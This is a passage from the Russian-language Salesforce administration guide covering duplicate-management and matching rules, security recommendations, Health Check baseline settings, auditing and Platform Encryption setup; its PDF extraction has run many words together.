ОрганизацияОбъект

Использовать правила общего доступаБезопасность записи

Действия

Эти действия выполняются при попытке сохранения повторяющейся записи.

Разрешить: Предупреждение и отчетДействиеприсоздании

Разрешить: отчетДействие при
редактировании

Предупреждение о повтореТекстпредупреждения

Правила соответствия

Правила соответствия определяют способ поиска повторов. Для правила управления повторами должно быть задано
как минимум одно правило соответствия.

ОрганизацииСравнить
организацию с

Стандартное правило соответствия для организацийПравило соответствия

Правило соответствия для организацийКритерии
соответствия

Выбранное соотнесениеСоотнесение полей

Стандартное правило управления повторами для контактов
Подобновсемправиламуправленияповторами, стандартныеправила, используемыедляконтактов, определяютдействия,
выполняемыеприпопытке сохраненияповторяющейся записи. Припопытке сохранениянового контактаотображается
предупреждение.

Сведения о правиле

Стандартное правило управления повторами для контактовИмя правила

Правило управления повторами для контактовОписание

КонтактОбъект

Использовать правила общего доступаБезопасность записи
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Действия

Эти действия выполняются при попытке сохранения повторяющейся записи.

Разрешить: Предупреждение и отчетДействиеприсоздании

Разрешить: отчетДействие при
редактировании

Предупреждение о повтореТекстпредупреждения

Правила соответствия

Правила соответствия определяют способ поиска повторов. Для правила управления повторами должно быть задано
как минимум одно правило соответствия.

КонтактыСравнить
организацию с

Стандартное правило соответствия для контактовПравило соответствия

Правило соответствия для контактовКритерии
соответствия

Выбранное соотнесениеСоотнесение полей

Стандартное правило управления повторами для интересов
Подобновсемправиламуправленияповторами, стандартныеправила, используемыедляинтересов, определяютдействия,
выполняемыеприпопыткесохраненияповторяющейсязаписи. Припопыткесохраненияновогоинтересаотображается
предупреждение.

Сведения о правиле

Стандартное правило управления повторами для интересовИмя правила

Правило управления повторами для интересовОписание

ИнтересОбъект

Использовать правила общего доступаБезопасность записи

Действия

Эти действия выполняются при попытке сохранения повторяющейся записи.

Разрешить: Предупреждение и отчетДействиеприсоздании

Разрешить: отчетДействие при
редактировании
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Предупреждение о повтореТекстпредупреждения

Правила соответствия

Правила соответствия определяют способ поиска повторов. Для правила управления повторами должно быть задано
как минимум одно правило соответствия.

ИнтересыСравнить
организацию с

Стандартное правило соответствия для интересовПравило соответствия

Правило соответствия для интересовКритерии
соответствия

Выбранное соотнесениеСоотнесение полей

Управление повторами. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПросмотритеответынатипичныевопросыофункцииуправленияповторамиData.com.

Как работает функция предотвращения повторов при использовании Data.com
Prospector и функции Data.com Clean?

Почему отображается ошибка об использовании правилом соответствия слишком
большого количества операторов «ИЛИ» внутри группировок?

Как работает функция предотвращения повторов при использовании Data.com
Prospector и функции Data.com Clean?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Добавление записей посредством Data.com Prospector

Работа данной функции определяется настройками повторов Data.com, заданными
организацией.

Если организация запрещает добавление повторяющихся записей в систему Salesforce
изData.com, тоData.comбудетблокироватьдобавлениеповторяющихсязаписейвсистему
Salesforce, а повторяющееся правило не будет выполняться. При попытке добавления
записей из Data.com пользователю отображается журнал ошибок, содержащий список
записей, которые не могут быть добавлены ввиду повтора.

Если организация разрешает добавление повторяющихся записей в систему Salesforce
изData.com, топовторяющиесяправилабудут выполняться. Необходимостьблокировки
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повторяющейся записи будет определяться повторяющимся правилом. Записи, заблокированные повторяющимся
правилом, будут отображаться в журнале ошибок.

Обновление записей посредством функции очистки Data.com Clean

Данный алгоритм определяется повторяющимися правилами организации. Если повторяющееся правило выполняет
блокировку повторов при редактировании, то запись не может быть очищена при создании повтора.

Если повторяющееся правило выполняет блокировку или отправку предупреждения при использовании заданий по
очистке, то запись не может быть очищена при создании повтора. Таблица «Журнал заданий по очистке» отображает
ошибку объекта для любой записи, которая не может быть очищена во время выполнения задания.

Еслиповторяющеесяправилоразрешаетповторыприредактировании, то записьможетбытьочищенадажеприсоздании
повтора. Кроме того, очистка записей вручную препятствует отображению предупреждения даже при использовании
повторяющегося правила, поддерживающего отправку предупреждения.

Почему отображается ошибка об использовании правилом соответствия слишком
большого количества операторов «ИЛИ» внутри группировок?
Правило соответствия может содержать не более 10 полей, объединенных в уравнение. При сохранении правила
соответствиясистемаперезаписываетуравнениепосредствомстандартизированногоформата, заменяющегооператоры
«ИЛИ» на операторы «И». Стандартизированныйформат ограничивается 10 строками.

Пример: Если правило соответствия содержит следующее уравнение...

(«Поле 1» ИЛИ «Поле 2») И

(«Поле 3» ИЛИ «Поле 4») И

(«Поле 5» ИЛИ «Поле 6») И

(«Поле 7» ИЛИ «Поле 8»)

..., то оно перезаписывается следующим образом:

(«Поле 1» И «Поле 3» И «Поле 5» И «Поле 7») ИЛИ

(«Поле 1» И «Поле 3» И «Поле 5» И «Поле 8») ИЛИ

(«Поле 1» И «Поле 3» И «Поле 6» И «Поле 7») ИЛИ

(«Поле 1» И «Поле 3» И «Поле 6» И «Поле 8») ИЛИ

(«Поле 1» И «Поле 4» И «Поле 5» И «Поле 7») ИЛИ

(«Поле 1» И «Поле 4» И «Поле 5» И «Поле 8») ИЛИ

(«Поле 1» И «Поле 4» И «Поле 6» И «Поле 7») ИЛИ

(«Поле 1» И «Поле 4» И «Поле 6» И «Поле 8») ИЛИ

(«Поле 2» И «Поле 3» И «Поле 5» И «Поле 7») ИЛИ

(«Поле 2» И «Поле 3» И «Поле 5» И «Поле 8») ИЛИ

(«Поле 2» И «Поле 3» И «Поле 6» И «Поле 7») ИЛИ

(«Поле 2» И «Поле 3» И «Поле 6» И «Поле 8») ИЛИ

(«Поле 2» И «Поле 4» И «Поле 5» И «Поле 7») ИЛИ

(«Поле 2» И «Поле 4» И «Поле 5» И «Поле 8») ИЛИ
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(«Поле 2» И «Поле 4» И «Поле 6» И «Поле 7») ИЛИ

(«Поле 2» И «Поле 4» И «Поле 6» И «Поле 8»)

Несмотря на соответствие максимальному количеству полей, данное правило содержит более 10 строк в
стандартизированномформате, поэтому не может быть сохранено. Рекомендуем сократить количество операторов
«ИЛИ» внутри группировок.

СМ. ТАКЖЕ:

Ключи соответствия и правила соответствия

Безопасность

Общие сведения о безопасности
Безопасностьсистемы Salesforceподдерживает защитуданныхиприложений. Принеобходимостивнедритесобственную
схему безопасности, соответствующую структуре и потребностям организации. Данные должны защищаться не только
компанией Salesforce, но и самими пользователями. Средства безопасности Salesforce позволяют предоставлять
пользователям возможность эффективного и безопасного выполнения своих рабочих обязанностей.

Система Salesforce предоставляет доступ к данным только соответствующим пользователям. Оптимальное средство
управления безопасностью определяется уязвимостью пользовательских данных. Данные организации защищаются от
несанкционированноговнешнегодоступа, а такжедолжнызащищатьсясамойорганизациейотнецелевогоиспользования.

Нижеперечисленыразделы, содержащиедополнительнуюинформациюоразныхкомпонентахбезопасности Salesforce.

• Доверие и компания Salesforce

• Инфраструктура безопасности

• Проверка работоспособности средств безопасности

• Аудит

• Шифрование платформы

• Безопасность сеанса

• Общие сведения о проверке подлинности

• Общие сведения о единой регистрации

• Сетевая безопасность

• Технология CAPTCHA для экспортов данных

• Мой домен

• Поставщики удостоверений и поставщики услуг

• Пароли

• Обеспечение безопасного доступа к данным

Доверие и компания Salesforce
Доверие начинается с прозрачности! Компания Salesforce поддерживает веб-узел http://trust.salesforce.com, позволяющий
просматривать сведения о производительности и безопасности системы в режиме реального времени. Данный веб-узел
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содержит оперативные данные о производительности системы, предупреждения для текущих и недавних попыток
фишинга, а также передовые методы безопасности организации.

Вкладка «Безопасность» содержит ценные сведения, необходимые для защиты корпоративных данных. В частности,
фишинг и вредоносное программное обеспечение — это самые популярные способы интернет-мошенничества.

Фишинг — это социотехническая атака, используемая мошенниками для несанкционированного доступа к
конфиденциальной информации (например, имена пользователей, пароли и данные кредитной карты). Как правило,
фишинговые сообщения содержат URL-адресафальшивых веб-сайтов, предназначенных для ввода данных. Сообщество
Salesforce становится все более привлекательным для злоумышленников. Помните, что сотрудники компании Salesforce
не могут просить пользователей предоставить пароль по телефону или эл. почте. Чтобы сообщить о любом
подозрительном действии, щелкните ссылку «Сообщить о подозрительном сообщении эл. почты» на вкладке
«Доверие» веб-узла http://trust.salesforce.com.

Вредоносное программное обеспечение — это программа, предназначенная для несанкционированного доступа и
нарушения работоспособности компьютерной системы. Данный термин является общим, так как охватывает различные
вредоносные программы, вирусы и клавиатурные шпионы.

Действия компании Salesforce
Безопасность клиентов — это основа их успешной работы, поэтому компания Salesforce продолжит внедрять передовые
методы и технологии защиты. А именно:

• Активноеотслеживаниеианализжурналовдляотправкипрофилактическихпредупрежденийпострадавшимклиентам.

• Совместная работа с ведущими экспертами и поставщиками систем безопасности над отдельными угрозами.

• Оперативное удаление фальшивых веб-узлов (как правило, в течение одного часа после обнаружения).

• Обучение мерам обеспечения безопасности и ужесточение политик доступа внутри Salesforce.

• Оценка и разработка новых технологий, предназначенных для защиты клиентов и собственной инфраструктуры.

Рекомендации компании Salesforce
Компания Salesforce несет ответственность за определение стандартов использования программного обеспечения как
услуги, позволяющихгарантироватьбезопасностьклиентов. Чтобыдополнительноповыситьсобственнуюбезопасность,
настоятельно рекомендуем нашим клиентам выполнить указанные ниже действия.

• Чтобыактивироватьограничениядлядиапазона IP-адресов, настройтепараметрыорганизацииSalesforce. Этопозволит
пользователям работать с Salesforce только через вашу корпоративнуюсеть или VPN. Дополнительнуюинформацию
см. в разделе «Настройка ограничений входа» на странице 926.

• Настройте ограничения безопасности сеанса, чтобы затруднить перехват. Дополнительную информацию см. в
подразделе «Изменение параметров безопасности сеанса» на странице 913.

• Запретитесотрудникамоткрыватьподозрительныесообщенияэл. почтыипорекомендуйтеимпроявлятьповышенную
бдительность в отношениифишинг-атак.

• Воспользуйтесьрешениямиот ведущихпоставщиковсистембезопасности (например, Symantec), поддерживающими
фильтрацию спама и защиту от вредоносного программного обеспечения.

• Определите контактное лицо, которое должно взаимодействовать с компанией Salesforce по вопросам безопасности
организации. Сообщите данные сведения представителю Salesforce.

• Рассмотрите возможность использования других методов двухфакторнойпроверки подлинности, включая маркеры
RSA. Дополнительные сведения см. в разделе «Двухфакторная проверка подлинности» на странице 929
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Чтобы проконсультироваться по вопросам безопасности, обратитесь в рабочую группу реагирования на инциденты
информационнойбезопасностиSalesforce. Чтобысообщитьобинцидентеинформационнойбезопасностиилиуязвимости,
обнаруженной в системе Salesforce, воспользуйтесь адресом security@salesforce.com. Подробное описание проблемы
позволит ускорить обработку полученного запроса.

Инфраструктура безопасности
Однойизосновныхфункциймногопользовательскойплатформыявляетсяиспользованиеединогопулавычислительных
ресурсов для соответствия требованиям самых разных клиентов. Система Salesforce защищает данные организации от
всех других клиентских организаций путем использования уникального идентификатора, связанного с сеансом каждого
пользователя. Все запросы, выполненныепосле входа в организацию, связываются с организациейпосредствомданного
идентификатора.

Система Salesforce использует только некоторые современные технологии по интернет-безопасности, доступные в
настоящеевремя. Приоткрытииприложенияпосредствомобозревателя, поддерживаемогосистемойSalesforce, технология
TLS защищает данные пользователя путем проверки подлинности сервера и классического шифрования, гарантируя
надежность, безопасность и доступность данных только зарегистрированным пользователям организации.

Кроме того, система Salesforce размещается в защищенной серверной среде, использующей брандмауэр и другие
современные технологии, препятствующие несанкционированному доступу извне.

Проверка работоспособности средств безопасности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функцияпроверкисостоянияпозволяетвыявлятьиисправлятьуязвимостибезопасности
в политиках паролей, конфигурации сетевого доступа и параметрах сеанса на одной
странице. Итоговый показатель демонстрирует, как безопасность организации
оценивается относительно рекомендуемого Salesforce основополагающего стандарта.

Введите строку «Проверка состояния» в поле «Быстрый поиск» меню «Настройка» и
выберите пункт «Проверка состояния».

Основополагающий стандарт Salesforce (1) представляет собой набор рекомендуемых
значений для групп параметров сеанса, политик паролей и настроек сетевого доступа
(2). При изменении всех настроек группы на менее строгие, чем указано в
основополагающем стандарте Salesforce, показатель проверки состояния уменьшается.

Настройки высокойи средней степени риска отображаются вместе со сравнительными
данными относительно стандартного значения (3). Для устранения риска измените
параметр (4), обновитепоказатель (5) ипроверьте, повысилсялион. Соответствующиестандартупараметрыпредставлены
внизу.
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Пример: Предположим, минимальная длина пароля была изменена с 8 символов (значение по умолчанию) до 5, и
другие настройки политик паролей изменены на менее строгие. Такие изменения повышают уязвимость паролей
пользователей при подборе и других атаках перебором. В результате общий показатель уменьшится и настройки
будут считаться рискованными.

СМ. ТАКЖЕ:

Расчет показателя проверки состояния

Расчет показателя проверки состояния

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Общий показатель проверки состояния рассчитывается по специальнойформуле,
которая определяет внутренний балл для групп параметров сеанса, политик паролей и
настроексетевогодоступа. Каждыйпоказатель группыотражает, наскольковсенастройки
в этой группе соответствуют основополагающему стандарту Salesforce. Группы, где все
настройкисоответствуютилипревышаютстандартное значение, получаютнаивысший
балл из возможных, а группы, содержащие настройки с высокой степенью риска,
получают наименьший балл. Кроме того, некоторые настройки имеют большую
важность. Показатели групписпользуются в специальнойформуле для расчета общего
балла.

Если все настройки в группах параметров соответствуют стандартным значением или
превышаютих, тообщийпоказательравен 100 %. Приизменениинастроек выполняйте
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проверку состояния (1), чтобы проверить влияние на общий показатель. Надеемся, что уровень безопасности будет
повышаться!

Рекомендуемые действия на основании показателя

Рекомендуется...Если общий показатель равен...

Немедленно устранить риски высокой степени.0-33%

Устранитьриски высокой степенивближайшее времяириски средней степени
в долгосрочной перспективе.

34-66%

Периодически выполнять проверку состояния для устранения рисков.67-100%

Прим.: Новые организации Salesforce имеют первоначальный показатель меньше 100 %. Используйте функцию
«Проверка состояния» для быстрогоповышенияпоказателяпутем устранениярисков высокой степени вполитиках
паролей и других группах настроек.

Основополагающий стандарт Salesforce

Нижеприводятсязначениянастроек, которыесоответствуютстандарту, атакжесчитаютсянастройками, обеспечивающими
риск средней и высокой степени.

Политики паролей

Значение,
обеспечивающее
риск высокой
степени

Значение,
обеспечивающее
риск средней
степени

Стандартное
значение

Параметр

Один год или
никогда

180 дней90 дней или менееСрок действия паролей пользователей истекает:

Нет сохраненных
паролей

Сохранено 1 или 2
пароля

Сохранено 3 или
более паролей

Вести журнал паролей

5 или менее6 или 78Минимальная длина пароля  (см. примечание)
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Значение,
обеспечивающее
риск высокой
степени

Значение,
обеспечивающее
риск средней
степени

Стандартное
значение

Параметр

Без ограниченийПароль должен
включать буквы и
цифры

Пароль должен
включать буквы,
цифры и
специальные

Требование к сложности пароля  (см. примечание)

символы или более
сложный пароль

—НетНе может содержать
пароль

Требование к контрольному вопросу

10 или без
ограничения

53Максимальное количество недопустимых попыток
входа

Постоянно
(сбрасывается
администратором)

30 или 60 минут15 минутСрок действия блокировки

—Флажок не
установлен

Флажок установленНеясный ответ на секретный вопрос для сброса
пароля

—Флажок не
установлен

Флажок установленТребовать срок действия пароля не менее 1 дня

Прим.: Параметры Минимальная длина пароля и Требование к сложности пароля имеютвдвоебольшеезначение,
чем другие настройки, при расчете показателя группы политик паролей.

Сетевой доступ

Значение,
обеспечивающее
риск высокой
степени

Значение,
обеспечивающее
риск средней
степени

Стандартное
значение

Параметр

—Не задан диапазонЗаданодиндиапазон
или более

Диапазоны надежных IP-адресов

Параметры сеанса

Значение,
обеспечивающее
риск высокой
степени

Значение,
обеспечивающее
риск средней
степени

Стандартное
значение

Параметр

—4, 8 или 12 часов2 часа или менееЗначение времени ожидания
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Значение,
обеспечивающее
риск высокой
степени

Значение,
обеспечивающее
риск средней
степени

Стандартное
значение

Параметр

—Флажок не
установлен

Флажок установленОтключить всплывающее предупреждение о
завершении сеанса

—Флажок не
установлен

Флажок установленИнициировать выход по времени ожидания сеанса

—Флажок не
установлен

Флажок установленЗакрепить сеансы за IP-адресом, с которого
они инициированы  (см. примечание)

Флажок не
установлен

—Флажок установленЗакрепить сеансы за доменом, выбранным для
их первого использования

Флажок не
установлен

—Флажок установленВыполнить повторный вход после входа от имени
пользователя

—Флажок не
установлен

Флажок установленПрименять диапазоны IP-адресов входа при
каждом запросе

Флажок не
установлен

—Флажок установленВключить кэширование и автозаполнение для
страницы входа

Флажок не
установлен

—Флажок установленВключить метод подтверждения подлинности
посредством SMS

Флажок не
установлен

—Флажок установленВключить защиту от кликджекинга для страниц
настройки

Флажок не
установлен

—Флажок установленВключить защиту от кликджекинга для страниц
Salesforce, не связанных с настройкой

Флажок не
установлен

—Флажок установленВключить защиту от кликджекинга для страниц
Visualforce клиента (со стандартными
заголовками)

Флажок не
установлен

—Флажок установленВключить защиту от кликджекинга для страниц
Visualforce клиента (с выключенными
заголовками)

Флажок не
установлен

—Флажок установленВключить защиту CSRF для запросов GET на
страницах, не связанных с настройкой

Флажок не
установлен

—Флажок установленВключить защиту CSRF для запросов POST на
страницах, не связанных с настройкой
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Прим.: Этот параметр доступен в следующих версиях: Enterprise Edition, Performance Edition, Unlimited Edition,
Developer Edition и Database.com Edition.

СМ. ТАКЖЕ:

Проверка работоспособности средств безопасности

Аудит
Функции аудита не защищают организацию, но предоставляют сведения об использовании системы, которые могут
оказаться полезными при диагностике потенциальных или реальных проблем безопасности. Рекомендуем выполнять
регулярные аудитыорганизации, позволяющие своевременно диагностировать потенциальные угрозы. Другие средства
безопасности, поддерживаемые системой Salesforce, являются профилактическими. Чтобы гарантировать безопасность
системы, рекомендуем выполнять аудиты для отслеживаниянепредвиденныхизмененийили тенденцийиспользования.

Ниже перечисленыфункции аудита.

Поля изменения записи
Все объекты содержат поля, предназначенные для хранения имени пользователя, создавшего запись, и имени
пользователя, изменившего запись последним. Данные поля содержат основные сведения аудита.

Журнал входов
Система позволяет просматривать список удачных и неудачных попыток входа в организацию за последние шесть
месяцев. См. раздел «Отслеживание журнала входов» на странице 1101.

Отслеживаниежурнала поля
При необходимости включите функцию аудита для отдельных полей, позволяющую автоматически отслеживать
любые изменения в значениях выбранных полей. Несмотря на доступностьфункции аудита для всех настраиваемых
объектов, функция аудита на уровне поля поддерживается только некоторыми стандартными объектами. См. раздел
«Отслеживание журнала поля» на странице 1114.

Контрольныйжурнал настройки
Администраторы могут просматривать контрольный журнал настройки, регистрирующий время изменения
конфигурации организации. См. раздел «Отслеживание изменений в настройке» на странице 1110.

Шифрование платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Шифрование платформы повышает безопасность клиентских данных с сохранением
важных функций платформы. Выбранные данные шифруются в дежурном режиме
посредством дополнительной системыформирования ключа. Теперь пользователи
могут защищать данныена уровнеболееподробных сведений, чтопозволяет компании
беспрепятственнособлюдатьполитикиконфиденциальности, нормативныетребования
и договорные обязательства по обработке личных данных.

Шифрование полей и файлов
Чтобы воспользоваться шифрованием платформы в своей организации, начните с
создания секрета клиента. Затем укажите поля ифайлы, которые нужношифровать,
а также пользователей, которые могут создавать, повторять и архивировать ключи
вашей организации.
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Настройка шифрования платформы
Шифрованиеплатформыпозволяетпользователямуправлятьсобственнымисекретамиклиента, которыеиспользуются
для извлечения ключейшифрования, защищающих данные. Ключи никогда не сохраняются и не используются
совместно ворганизации. Взамен, ониизвлекаютсяпо запросуиз основного секретаи специального секрета клиента,
а затем кэшируются на сервере приложений.

Принцип работышифрования платформы
Шифрование платформы использует способышифрования данных, поддерживаемые системой Salesforce по
умолчанию. Оно позволяетшифровать данные, хранящиеся во многих стандартных и настраиваемых полях, а также
файлахивложениях. Шифрованиевыполняетсякакприпередачеданныхпосети, такивдежурномрежиме, гарантируя
их защитудажеприпопыткахнесанкционированногодоступа ввидуналичиядругихпроблемв системебезопасности.

СМ. ТАКЖЕ:

Руководство по внедрениюфункциишифрования платформы Salesforce

Шифрование полей и файлов

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Чтобы воспользоваться шифрованием платформы в своей организации, начните с
создания секрета клиента. Затем укажите поля и файлы, которые нужношифровать, а
также пользователей, которые могут создавать, повторять и архивировать ключи вашей
организации.

Шифрование полей
Выберите поле, которое нужно зашифровать. Если поле зашифровано, то
пользователи без соответствующего полномочия на просмотр видят только набор
звездочек.

Шифрование файлов и вложений
Рекомендуемшифровать файлы и вложения посредством функциишифрования
платформы, предоставляющей дополнительный уровень защиты данных. Если
шифрование платформы включено, тело каждого файла или вложения будет
шифроваться при передаче.

Рекомендации по шифрованию платформы
Найдите время на определение наиболее вероятных угроз для организации. Данное действие позволяет шифровать
только нужные данные, помогая пользователям отличать данные, требующиешифрования, от других данных.
Убедитесь в наличии резервной копии секрета клиента и ключей. Помните, что управление секретами и ключами
должно быть доступно только проверенным пользователям.
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Шифрование полей

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Available in both Salesforce
Classic and Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра настройки:
• «Просмотр настройки и

конфигурации»

Для включения
зашифрованных полей:
• «Настройка

приложения»

Выберитеполе, котороенужнозашифровать. Еслиполе зашифровано, топользователи
без соответствующего полномочия на просмотр видят только набор звездочек.

Взависимостиотразмераорганизации, включениестандартногополядляшифрования
может занять несколько минут.

1. Убедитесь, что у вашейорганизацииимеется активный ключшифрования. Если вы
не уверены, уточните у администратора.

2. Введите «Шифрование платформы» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите «Шифрование платформы».

3. Установите флажок «Включить зашифрованные стандартные поля».

4. Щелкните «Правка».

5. Выберите поля для шифрования и сохраните параметры.

Запустится автоматическая службапроверкишифрованияплатформы. Есликакие-либо
из параметров организации блокируютшифрование, вы получите сообщение
электронной почты с инструкциями по устранению проблем.

Значения полей шифруются автоматически только в записях, созданных или
обновленных после включения шифрования. Чтобы гарантировать шифрование
значенийполей, компания Salesforceрекомендуетобновлять текущие записи. Например,
пришифровании поля «Описание» в объекте «Обращение» можно с помощью
приложения Data Loader обновить все записи обращений. Свяжитесь с Salesforce, если
требуется помощь в данном вопросе.

Прим.: Данные сведения относятся только к функциишифрования платформы
и не относятся к функции классического шифрования.

СМ. ТАКЖЕ:

Какие поля можношифровать?

Последствия шифрования определенных полей

Data Loader

Автоматическая проверка для шифрования платформы

Назад к родительской теме
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Шифрование файлов и вложений

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра настройки:
• «Просмотр настройки и

конфигурации»

Для включения
зашифрованных файлов:
• «Настройка

приложения»

Рекомендуемшифровать файлы и вложения посредством функциишифрования
платформы, предоставляющей дополнительный уровень защиты данных. Если
шифрование платформы включено, тело каждого файла или вложения будет
шифроваться при передаче.

Прим.: Преждечемначатьработу, убедитесь, чтоорганизацияиспользуетактивный
ключшифрования. При наличии сомнений обратитесь к администратору.

Можношифровать следующие видыфайлов:

• Файлы, вложенные в ленты.

• Файлы, прикрепленные к записям.

• Файлынавкладках «Содержимое», «Библиотеки» и «Файлы» (файлыSalesforce, включая
предварительные просмотрыфайлов, и файлы Salesforce CRM Content).

• Файлы, управляемые с помощью Salesforce Files Sync

• Примечания (бета-версия)

Некоторые типыфайлов и вложений нельзя шифровать:

• Фотографии для группы и профиля Chatter

• Документы

• Вложения эл. почты

1. Введите «Шифрование платформы» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите «Шифрование платформы».

2. Установите флажок «Включить зашифрованныефайлы и вложения».

3. Щелкните «Задать настройки».

Важное замечание: Пользователи с доступом к файлу могут работать с ним как
обычно, независимо от своих полномочий, касающихся шифрования.
Пользователи, выполнившиевходв систему вашейорганизациииимеющиеправа
чтения, могут выполнять поиск и просмотр текста содержимого.

Пользователи могут продолжить загрузку файлов и вложений в пределах обычных ограничений по размеру файлов.
Любое увеличение размера файла, инициированное шифрованием, не учитывается данными ограничениями.

Включениешифрованияфайлов и вложений коснется новыхфайлов и вложений. Файлы, которые уже были в Salesforce
до этого, не будут зашифрованы автоматически. Чтобы зашифровать имеющиеся файлы, обратитесь в Salesforce.

Чтобыпроверить, являетсялифайлиливложениезашифрованным, поищитезначокшифрованиянастраницеподробных
сведений файла или вложения, выполните запрос к полю isEncrypted в объекте ContentVersion object (для файлов)
или объекте Attachment (для вложений).

886

Шифрование платформыНастройка и обслуживание организации Salesforce



Когдафайл зашифрован, вы видите следующее.

Прим.: Данные сведения относятся только к функциишифрования платформы и не относятся к функции
классического шифрования.

СМ. ТАКЖЕ:

Автоматическая проверка для шифрования платформы

Назад к родительской теме

Рекомендации по шифрованию платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
бесплатно в версии
Developer Edition для
организаций, созданных в
выпуске Summer'15 и более
поздних выпусках.

Available in both Salesforce
Classic and Lightning
Experience.

Найдите время на определение наиболее вероятных угроз для организации. Данное
действиепозволяетшифроватьтольконужныеданные, помогаяпользователямотличать
данные, требующиешифрования, от других данных. Убедитесь в наличии резервной
копиисекретаклиентаиключей. Помните, чтоуправлениесекретамииключамидолжно
быть доступно только проверенным пользователям.

1. Определите модель угроз для организации.

Чтобыопределить угрозы, которыемогутповлиятьнаорганизацию, воспользуйтесь
официальнойпрактикоймоделированияугроз. Применитесвоивыводыдлясоздания
схемы классификации данных, которая позволяет определять данные, подлежащие
шифрованию.

2. Шифруйте данные только при необходимости.

• Невседанныеявляютсяконфиденциальными. Рекомендуемсосредоточитьсвое
внимание на данных, необходимость шифрования которых определяется
нормативнымитребованиями, а также требованиямибезопасности, соответствия
и конфиденциальности. Неоправданное шифрование данных влияет на
функциональность и производительность системы.

• Рекомендуем заранее оценить схему классификации данных и привлечь заинтересованных лиц к определению
требований. Периодически рекомендуем находить баланс между важнымифункциями и мерами безопасности, а
также подвергать сомнению свои предположения.

3. Создайте заранее стратегию для резервного копирования и архивирования ключей и данных.

887

Шифрование платформыНастройка и обслуживание организации Salesforce



При уничтожении секретов клиента рекомендуем повторить их импорт для доступа к данным. Только вы отвечаете
за создание резервных копий ваших данных и секретов клиентов и их хранение в безопасном месте. Salesforce не
может помочь вам, если секреты клиентов оказались удалены, уничтожены или помещены в неправильное место.

4. Помните, что шифрование применяется ко всем пользователям, независимо от их полномочий.

• Пользователи, которыемогутпросматриватьзначениязашифрованныхполейввидеобычноготекста, определяются
полномочием «Просмотр зашифрованных данных». Тем не менее содержимое данных полей шифруется в
дежурном режиме, независимо от полномочий пользователя.

• Функциональные ограничения распространяются на пользователей, взаимодействующих с зашифрованными
данными. Рекомендуем определить возможность применения функциишифрования только к некоторым
бизнес-пользователям, а также возможные последствия данного применения для других пользователей,
взаимодействующих с данными.

5. Просмотрите рекомендации по использованиюфункциишифрования платформы и осмыслите возможные
последствия для организации.

• Оцените влияние рекомендаций на бизнес-решение и внедрение.

• Передразвертываниемвпроизводственнойсредерекомендуемпротестироватьфункциюшифрованияплатформы
в безопасной среде.

• Прежде чем включить функциюшифрования, рекомендуем исправить любые обнаруженные нарушения.
Например, ссылкана зашифрованныеполявусловии WHERE запроса SOQL инициируетнарушение. Аналогичным
образом, ссылка на зашифрованные поля в условии ORDER BY запроса SOQL инициирует нарушение. Чтобы
исправить нарушение в обоих случаях, удалите ссылки на зашифрованные поля.

6. Проанализируйте и протестируйте приложения AppExchange перед развертыванием.

• ПрииспользованииприложенияизкаталогаAppExchangeрекомендуемпротестироватьспособыеговзаимодействия
с зашифрованнымиданнымиорганизациииоценитьвероятностьизмененияегофункциональныхвозможностей.

• При взаимодействии приложения с зашифрованными данными, которые хранятся вне системы Salesforce,
рекомендуем определить способы и области обработки данных, а также алгоритмы защиты информации.

• При подозрении на изменениефункциональных возможностей приложения в результате примененияфункции
шифрованияплатформыобратитесь за помощьюкпоставщикуприложения. Кроме того, рекомендуемобсудить
любые настраиваемые решения, которые могут поддерживаться функциейшифрования платформы.

• Приложения из каталога AppExchange, разработанные только посредством Force.com, наследуют возможности и
ограничения для функциишифрования платформы.

7. Шифрованиеплатформы — этоне средствопроверкиподлинностиилиавторизациипользователей. Устанавливать,
каким пользователям будут видны те или иные данные, следует с помощью параметров безопасности уровня поля,
параметров макета страницы и правил проверки, а не шифрования платформы. Проследите, чтобы пользователю,
которому было непреднамеренно предоставлено полномочие на просмотр зашифрованных данных, по-прежнему
были видны только соответствующие данные.

По умолчанию редактирование зашифрованных полей доступно всем пользователям, даже пользователям без
полномочия «Просмотр зашифрованных данных».

8. Предоставьте полномочие «Управление ключамишифрования» только авторизованным пользователям.

Полномочие «Управлениеключамишифрования» позволяетпользователямсоздавать, экспортировать, импортировать
иуничтожатьключиорганизации. Рекомендуемрегулярноотслеживатьдействияданныхпользователейпоуправлению
ключами посредством контрольного журнала настройки.

9. Предоставьте полномочие «Просмотр зашифрованных данных» только авторизованным пользователям.
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Рекомендуем предоставить полномочие «Просмотр зашифрованных данных» пользователям, которые должны
просматривать зашифрованные поля в виде обычного текста, включая пользователей интеграции, которым
конфиденциальные данные должны быть доступны в виде обычного текста. Зашифрованныефайлы доступны всем
